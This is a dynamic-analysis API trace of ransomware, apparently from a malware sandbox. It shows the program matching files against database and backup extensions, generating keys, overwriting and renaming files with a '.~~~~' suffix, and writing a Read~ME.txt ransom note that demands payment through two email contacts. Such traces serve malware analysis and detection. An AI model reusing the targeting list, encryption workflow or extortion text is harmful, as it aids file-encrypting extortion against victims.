	[0084.686] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG", lpSrch=".PST") returned 0x0
	[0084.686] lstrlenW (lpString=".dbf") returned 4
	[0084.686] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG", lpSrch=".dbf") returned 0x0
	[0084.687] lstrlenW (lpString=".SQL") returned 4
	[0084.687] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG", lpSrch=".SQL") returned 0x0
	[0084.687] lstrlenW (lpString=".pst") returned 4
	[0084.687] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG", lpSrch=".pst") returned 0x0
	[0084.687] lstrlenW (lpString=".dbv") returned 4
	[0084.687] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG", lpSrch=".dbv") returned 0x0
	[0084.687] lstrlenW (lpString=".SDF") returned 4
	[0084.687] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG", lpSrch=".SDF") returned 0x0
	[0084.687] lstrlenW (lpString=".dtxs") returned 5
	[0084.687] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG", lpSrch=".dtxs") returned 0x0
	[0084.687] lstrlenW (lpString=".db3") returned 4
	[0084.687] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG", lpSrch=".db3") returned 0x0
	[0084.687] lstrlenW (lpString=".OST") returned 4
	[0084.687] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG", lpSrch=".OST") returned 0x0
	[0084.687] lstrlenW (lpString=".dbx") returned 4
	[0084.687] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG", lpSrch=".dbx") returned 0x0
	[0084.687] lstrlenW (lpString=".DB3") returned 4
	[0084.687] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG", lpSrch=".DB3") returned 0x0
	[0084.687] lstrlenW (lpString=".DAT") returned 4
	[0084.687] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG", lpSrch=".DAT") returned 0x0
	[0084.687] lstrlenW (lpString=".VHDX") returned 5
	[0084.687] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG", lpSrch=".VHDX") returned 0x0
	[0084.687] lstrlenW (lpString=".ndf") returned 4
	[0084.687] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG", lpSrch=".ndf") returned 0x0
	[0084.687] lstrlenW (lpString=".DB") returned 3
	[0084.687] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG", lpSrch=".DB") returned 0x0
	[0084.687] lstrlenW (lpString=".sql") returned 4
	[0084.688] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG", lpSrch=".sql") returned 0x0
	[0084.688] lstrlenW (lpString=".MYD") returned 4
	[0084.688] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG", lpSrch=".MYD") returned 0x0
	[0084.688] lstrlenW (lpString=".DBT") returned 4
	[0084.688] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG", lpSrch=".DBT") returned 0x0
	[0084.688] lstrlenW (lpString=".ACCDB") returned 6
	[0084.688] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG", lpSrch=".ACCDB") returned 0x0
	[0084.688] lstrlenW (lpString=".fdb") returned 4
	[0084.688] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG", lpSrch=".fdb") returned 0x0
	[0084.688] lstrlenW (lpString=".bak") returned 4
	[0084.688] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG", lpSrch=".bak") returned 0x0
	[0084.688] lstrlenW (lpString=".myd") returned 4
	[0084.688] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG", lpSrch=".myd") returned 0x0
	[0084.688] lstrlenW (lpString=".DTXS") returned 5
	[0084.688] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG", lpSrch=".DTXS") returned 0x0
	[0084.688] lstrlenW (lpString=".ckp") returned 4
	[0084.688] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG", lpSrch=".ckp") returned 0x0
	[0084.688] lstrlenW (lpString=".dbt") returned 4
	[0084.688] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG", lpSrch=".dbt") returned 0x0
	[0084.688] lstrlenW (lpString=".db") returned 3
	[0084.688] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG", lpSrch=".db") returned 0x0
	[0084.688] lstrlenW (lpString=".TXT") returned 4
	[0084.688] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG", lpSrch=".TXT") returned 0x0
	[0084.688] lstrlenW (lpString=".MDF") returned 4
	[0084.688] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG", lpSrch=".MDF") returned 0x0
	[0084.688] lstrlenW (lpString=".bdb") returned 4
	[0084.688] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG", lpSrch=".bdb") returned 0x0
	[0084.689] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0084.689] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0084.689] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2804470
	[0084.689] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0084.689] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x39fe28) returned 1
	[0084.690] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0084.690] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0084.690] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0084.690] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0084.690] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x285cfe8
	[0084.690] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=20468012344) returned 1
	[0084.690] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0x9c506310, dwHighDateTime=0x1d60e1e)) 
	[0084.690] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0084.690] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623c0
	[0084.690] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0084.690] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a9f68
	[0084.690] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0084.690] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a9f68 | out: hHeap=0x300000) returned 1
	[0084.690] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0084.690] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0084.690] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x2808d08
	[0084.690] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0084.691] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0084.691] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2808d08 | out: hHeap=0x300000) returned 1
	[0084.691] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0084.691] GetLastError () returned 0x0
	[0084.691] GetLastError () returned 0x0
	[0084.691] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0084.691] GetLastError () returned 0x0
	[0084.691] GetLastError () returned 0x0
	[0084.694] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xffffb813, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0084.694] WriteFile (in: hFile=0x128, lpBuffer=0x280dfd0*, nNumberOfBytesToWrite=0x47ed, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x280dfd0*, lpNumberOfBytesWritten=0x25dfec0*=0x47ed, lpOverlapped=0x0) returned 1
	[0084.694] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280dfd0 | out: hHeap=0x300000) returned 1
	[0084.694] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0084.694] WriteFile (in: hFile=0x128, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0084.695] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0084.695] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0084.695] CloseHandle (hObject=0x128) returned 1
	[0084.695] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a5240
	[0084.695] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\thmbnail.png"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\thmbnail.png.~~~~")) returned 1
	[0084.698] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a5240 | out: hHeap=0x300000) returned 1
	[0084.698] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0084.698] GetLastError () returned 0x0
	[0084.700] RtlWakeConditionVariable () returned 0x365f70
	[0084.700] GetCurrentThreadId () returned 0x9f4
	[0084.700] GetCurrentThreadId () returned 0x9f4
	[0084.700] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x2808e58
	[0084.700] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e6730 | out: hHeap=0x300000) returned 1
	[0084.700] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a9f30 | out: hHeap=0x300000) returned 1
	[0084.700] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e6730
	[0084.700] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\Read~ME.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\read~me.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128
	[0084.701] lstrlenW (lpString="Dear user! Your data is encrypted!\r\n\r\nAny attempts to decrypt your data yourself will lead to loss of information !! Be careful!\r\n\r\nOur mail:\r\n1. cryptofiles20202020@protonmail.com\r\n2. cryptofiles20202020@cock.li\r\n\r\nAttention!\r\n\r\nDecryption of your files is a paid service.\r\nIf you do not have money, then you can not apply. All is serious.\r\nContact us at the address and indicate your id in the subject line.\r\nYour ID: ff9adce5d1") returned 430
	[0084.701] WriteFile (in: hFile=0x128, lpBuffer=0x368100*, nNumberOfBytesToWrite=0x35c, lpNumberOfBytesWritten=0x25dfed8, lpOverlapped=0x0 | out: lpBuffer=0x368100*, lpNumberOfBytesWritten=0x25dfed8*=0x35c, lpOverlapped=0x0) returned 1
	[0084.702] CloseHandle (hObject=0x128) returned 1
	[0084.702] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e6730 | out: hHeap=0x300000) returned 1
	[0084.702] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2808e58 | out: hHeap=0x300000) returned 1
	[0084.702] RtlWakeConditionVariable () returned 0x365f70
	[0084.702] GetCurrentThreadId () returned 0x9f4
	[0084.702] GetCurrentThreadId () returned 0x9f4
	[0084.702] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x2808e58
	[0084.703] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f3698 | out: hHeap=0x300000) returned 1
	[0084.703] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3aa0f0 | out: hHeap=0x300000) returned 1
	[0084.703] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x27f3698
	[0084.703] lstrlenW (lpString=".scr") returned 4
	[0084.703] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\LAYERS.ELM", lpSrch=".scr") returned 0x0
	[0084.703] lstrlenW (lpString=".cmd") returned 4
	[0084.703] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\LAYERS.ELM", lpSrch=".cmd") returned 0x0
	[0084.703] lstrlenW (lpString=".dll") returned 4
	[0084.703] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\LAYERS.ELM", lpSrch=".dll") returned 0x0
	[0084.703] lstrlenW (lpString=".bat") returned 4
	[0084.703] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\LAYERS.ELM", lpSrch=".bat") returned 0x0
	[0084.703] lstrlenW (lpString=".cpl") returned 4
	[0084.703] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\LAYERS.ELM", lpSrch=".cpl") returned 0x0
	[0084.703] lstrlenW (lpString=".sys") returned 4
	[0084.703] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\LAYERS.ELM", lpSrch=".sys") returned 0x0
	[0084.703] lstrlenW (lpString=".msc") returned 4
	[0084.703] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\LAYERS.ELM", lpSrch=".msc") returned 0x0
	[0084.703] lstrlenW (lpString=".com") returned 4
	[0084.703] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\LAYERS.ELM", lpSrch=".com") returned 0x0
	[0084.703] lstrlenW (lpString=".lnk") returned 4
	[0084.703] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\LAYERS.ELM", lpSrch=".lnk") returned 0x0
	[0084.703] lstrlenW (lpString=".msp") returned 4
	[0084.703] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\LAYERS.ELM", lpSrch=".msp") returned 0x0
	[0084.704] lstrlenW (lpString=".pif") returned 4
	[0084.704] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\LAYERS.ELM", lpSrch=".pif") returned 0x0
	[0084.704] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0084.704] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\LAYERS.ELM", lpSrch="msp\r\n.pif") returned 0x0
	[0084.704] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\LAYERS.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\layers.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128
	[0084.704] lstrlenW (lpString=".sqb") returned 4
	[0084.704] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\LAYERS.ELM", lpSrch=".sqb") returned 0x0
	[0084.704] lstrlenW (lpString=".ost") returned 4
	[0084.704] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\LAYERS.ELM", lpSrch=".ost") returned 0x0
	[0084.704] lstrlenW (lpString=".txt") returned 4
	[0084.704] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\LAYERS.ELM", lpSrch=".txt") returned 0x0
	[0084.704] lstrlenW (lpString=".mdt") returned 4
	[0084.704] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\LAYERS.ELM", lpSrch=".mdt") returned 0x0
	[0084.704] lstrlenW (lpString=".BDB") returned 4
	[0084.704] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\LAYERS.ELM", lpSrch=".BDB") returned 0x0
	[0084.705] lstrlenW (lpString=".eql") returned 4
	[0084.705] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\LAYERS.ELM", lpSrch=".eql") returned 0x0
	[0084.705] lstrlenW (lpString=".DBF") returned 4
	[0084.705] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\LAYERS.ELM", lpSrch=".DBF") returned 0x0
	[0084.705] lstrlenW (lpString=".EQL") returned 4
	[0084.705] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\LAYERS.ELM", lpSrch=".EQL") returned 0x0
	[0084.705] lstrlenW (lpString=".FDB") returned 4
	[0084.705] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\LAYERS.ELM", lpSrch=".FDB") returned 0x0
	[0084.705] lstrlenW (lpString=".EDB") returned 4
	[0084.705] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\LAYERS.ELM", lpSrch=".EDB") returned 0x0
	[0084.705] lstrlenW (lpString=".DACPAC") returned 7
	[0084.705] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\LAYERS.ELM", lpSrch=".DACPAC") returned 0x0
	[0084.705] lstrlenW (lpString=".VHD") returned 4
	[0084.705] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\LAYERS.ELM", lpSrch=".VHD") returned 0x0
	[0084.705] lstrlenW (lpString=".DBV") returned 4
	[0084.705] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\LAYERS.ELM", lpSrch=".DBV") returned 0x0
	[0084.705] lstrlenW (lpString=".dacpac") returned 7
	[0084.705] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\LAYERS.ELM", lpSrch=".dacpac") returned 0x0
	[0084.705] lstrlenW (lpString=".sdf") returned 4
	[0084.705] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\LAYERS.ELM", lpSrch=".sdf") returned 0x0
	[0084.705] lstrlenW (lpString=".accdb") returned 6
	[0084.705] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\LAYERS.ELM", lpSrch=".accdb") returned 0x0
	[0084.705] lstrlenW (lpString=".DBX") returned 4
	[0084.706] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\LAYERS.ELM", lpSrch=".DBX") returned 0x0
	[0084.706] lstrlenW (lpString=".MDT") returned 4
	[0084.706] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\LAYERS.ELM", lpSrch=".MDT") returned 0x0
	[0084.706] lstrlenW (lpString=".SQB") returned 4
	[0084.706] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\LAYERS.ELM", lpSrch=".SQB") returned 0x0
	[0084.706] lstrlenW (lpString=".vhd") returned 4
	[0084.706] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\LAYERS.ELM", lpSrch=".vhd") returned 0x0
	[0084.706] lstrlenW (lpString=".bac") returned 4
	[0084.706] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\LAYERS.ELM", lpSrch=".bac") returned 0x0
	[0084.706] lstrlenW (lpString=".mdf") returned 4
	[0084.706] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\LAYERS.ELM", lpSrch=".mdf") returned 0x0
	[0084.706] lstrlenW (lpString=".BAK") returned 4
	[0084.706] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\LAYERS.ELM", lpSrch=".BAK") returned 0x0
	[0084.706] lstrlenW (lpString=".BAC") returned 4
	[0084.706] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\LAYERS.ELM", lpSrch=".BAC") returned 0x0
	[0084.706] lstrlenW (lpString=".dbs") returned 4
	[0084.706] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\LAYERS.ELM", lpSrch=".dbs") returned 0x0
	[0084.706] lstrlenW (lpString=".vhdx") returned 5
	[0084.706] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\LAYERS.ELM", lpSrch=".vhdx") returned 0x0
	[0084.706] lstrlenW (lpString=".NDF") returned 4
	[0084.706] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\LAYERS.ELM", lpSrch=".NDF") returned 0x0
	[0084.706] lstrlenW (lpString=".dat") returned 4
	[0084.706] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\LAYERS.ELM", lpSrch=".dat") returned 0x0
	[0084.707] lstrlenW (lpString=".DBS") returned 4
	[0084.707] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\LAYERS.ELM", lpSrch=".DBS") returned 0x0
	[0084.707] lstrlenW (lpString=".CKP") returned 4
	[0084.707] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\LAYERS.ELM", lpSrch=".CKP") returned 0x0
	[0084.707] lstrlenW (lpString=".edb") returned 4
	[0084.707] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\LAYERS.ELM", lpSrch=".edb") returned 0x0
	[0084.707] lstrlenW (lpString=".PST") returned 4
	[0084.707] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\LAYERS.ELM", lpSrch=".PST") returned 0x0
	[0084.707] lstrlenW (lpString=".dbf") returned 4
	[0084.707] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\LAYERS.ELM", lpSrch=".dbf") returned 0x0
	[0084.707] lstrlenW (lpString=".SQL") returned 4
	[0084.707] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\LAYERS.ELM", lpSrch=".SQL") returned 0x0
	[0084.707] lstrlenW (lpString=".pst") returned 4
	[0084.707] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\LAYERS.ELM", lpSrch=".pst") returned 0x0
	[0084.707] lstrlenW (lpString=".dbv") returned 4
	[0084.707] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\LAYERS.ELM", lpSrch=".dbv") returned 0x0
	[0084.707] lstrlenW (lpString=".SDF") returned 4
	[0084.707] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\LAYERS.ELM", lpSrch=".SDF") returned 0x0
	[0084.707] lstrlenW (lpString=".dtxs") returned 5
	[0084.707] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\LAYERS.ELM", lpSrch=".dtxs") returned 0x0
	[0084.707] lstrlenW (lpString=".db3") returned 4
	[0084.707] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\LAYERS.ELM", lpSrch=".db3") returned 0x0
	[0084.707] lstrlenW (lpString=".OST") returned 4
	[0084.708] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\LAYERS.ELM", lpSrch=".OST") returned 0x0
	[0084.708] lstrlenW (lpString=".dbx") returned 4
